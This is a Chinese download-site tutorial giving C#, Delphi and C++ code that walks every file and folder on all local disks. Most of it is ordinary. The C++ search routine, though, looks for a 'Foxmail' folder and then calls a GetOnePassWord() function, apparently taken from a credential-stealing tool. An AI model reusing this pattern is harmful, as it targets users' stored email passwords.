西西软件下载最安全的下载网站、值得信赖的软件下载站!

首页编程开发其它知识 → 不同编程语言遍历磁盘所有文件和文件夹实例

不同编程语言遍历磁盘所有文件和文件夹实例

相关软件相关文章发表评论 来源:西西整理时间:2013/4/4 20:55:29字体大小:A-A+

作者:西西点击:0次评论:0次标签: 遍历

  • 类型:FTP 工具大小:106KB语言:中文 评分:5.0
  • 标签:
立即下载

1、C#遍历磁盘所有文件和文件夹:

public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
static List<Model> files = new List<Model>();
static List<Model> dirs = new List<Model>();

private void Form1_Load(object sender, EventArgs e)
{
string diskpath = System.Windows.Forms.Application.StartupPath.Split('\\')[0]+"\\";
ForEachDisk(diskpath);
MessageBox.Show("共遍历到:" + files.Count.ToString() + "个文件," + dirs.Count.ToString() + "个文件夹。");
}

private void ForEachDisk(string path)
{
DirectoryInfo dir = new DirectoryInfo(path);

try
{
foreach (DirectoryInfo d in dir.GetDirectories())
{
if (d.Name.Substring(0, 1) != "$" && d.Name != "System Volume Information")
{
ForEachDisk(d.FullName);

Model m = new Model();
m.name = d.Name;
m.path = d.FullName;
dirs.Add(m);
listBox1.Items.Add(d.FullName);
}
}
}
catch (Exception ex)
{
MessageBox.Show("错误提示:统计信息可能不完善。" + ex.Message);
return;
}

foreach (FileInfo f in dir.GetFiles())
{
Model m = new Model();
m.name = f.Name;
m.path = f.FullName;
files.Add(m);
listBox2.Items.Add(f.FullName);
}
}
}

public class Model
{
private string _name;
//private string _type;
private string _path;

public string name { get { return _name; } set { _name = value; } }
//public string type { get { return _type; } set { _type = value; } }
public string path { get { return _path; } set { _path = value; } }
}

这里没有用树形结构表示,而是用了列表的方式保存信息,方便日后信息的查找。

2、delphi 遍历硬盘所有文件目录

//一个遍历所有硬盘的所有目录的实例源码:

unit Unit1;

interface

uses
Windows, Messages, FileCtrl,SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, ImgList, ExtCtrls;

type
TForm1 = class(TForm)
TreeView: TTreeView;
Button3: TButton;
procEDure Button3Click(Sender: TObject);
private
{ Private declarations }
public
procedure CreateDirectoryTree(RootDir, RootCaption: string);
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
procedure TForm1.CreateDirectoryTree(RootDir, RootCaption: string);
procedure AddSubDirToTree(RootNode: TTreeNode);
var
SearchRec: TSearchRec;
Path: string;
Found: integer;
begin
Path := PChar(RootNode.Data) + '\*.*';
Found := FindFirst(Path, faAnyFile, SearchRec);
while Found = 0 do
begin
if (SearchRec.Attr = faDirectory) and (SearchRec.Name <> '.') and (SearchRec.Name <> '..') then
AddSubDirToTree(TreeView.Items.AddChildObject(RootNode, SearchRec.Name,
PChar(PChar(RootNode.Data) + '\' + SearchRec.Name)));
Found := FindNext(SearchRec);
end;
FindClose(SearchRec);
end;
begin
//TreeView.Items.Clear;
AddSubDirToTree(TreeView.Items.AddObject(nil, RootCaption, PChar(RootDir)));
end;

procedure TForm1.Button3Click(Sender: TObject);
var
i:integer;
abc:Tstrings;
s:string;
begin
abc:=TStringlist.Create;
for i:=0 to 23 do begin
s := Chr(65+i)+':\';
// if GetDriveType(PChar(s))= DRIVE_cdrom then
if directoryexists(s) then
begin
s:=copy(s,0,2) ;
abc.Add(s);
end;
end;
for i:=0 to abc.Count-1 do
BEGIN
S:=abc.strings[i];
CreateDirectoryTree(S, '['+s+'\]');
END
end;

end. 

3、C++获取本地所有磁盘并遍历磁盘下所有文件、文件夹

3.1获取本地磁盘符号

[cpp] view plaincopy
void GetComputerDisk() //获取本地电脑的磁盘符号
{
OutputDebugString("GetComputerDisk");
TCHAR buf[100];
DWORD len = GetLogicalDriveStrings(sizeof(buf)/sizeof(TCHAR),buf);
TCHAR *s = buf;
UINT IsCDRom;

for (; *s; s+=_tcslen(s)+1)
{
/*LPCTSTR sDrivePath = s; */
CString strDisks = s; //单个盘符
IsCDRom=GetDriveType(strDisks);
if (IsCDRom==DRIVE_CDROM)
{
OutputDebugString("CD-ROM");
continue;
}
OutputDebugString(strDisks);
TCFindFile(strDisks);
}
}

3.2遍历每个磁盘下的所有文件、文件夹

[cpp] view plaincopy
void TCFindFile(CString FilePath)
{
OutputDebugString("TCFindFile");
CFileFind find;
CString Dir = FilePath+"*.*";

BOOL res =find.FindFile(Dir);

//OutputDebugString(Dir);
if (!res)
{
OutputDebugString("DiskScanOver!");
return;
}

while(res)
{
CString Filename;
CString tmp;
res = find.FindNextFile();
if (find.IsDirectory() && !find.IsDots()) //目录是文件夹
{
Filename = find.GetFileName();
tmp = Dir.Left(Dir.GetLength() - 3) + Filename;
if (Filename == "Foxmail")
{
//执行后续操作
OutputDebugString(tmp);
TheRightFoxmailPath = tmp;
OutputDebugString("GetPWDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD");
GetOnePassWord();
return;
}
tmp += "//";
TCFindFile(tmp);
}
}
}

    相关评论

    阅读本文后您有什么感想? 已有人给出评价!

    • 8 喜欢喜欢
    • 3 顶
    • 1 难过难过
    • 5 囧
    • 3 围观围观
    • 2 无聊无聊

    热门评论

    最新评论

    发表评论 查看所有评论(0)

    昵称:
    表情: 高兴 可 汗 我不要 害羞 好 下下下 送花 屎 亲亲
    字数: 0/500 (您的评论需要经过审核才能显示)
    推荐文章

    没有数据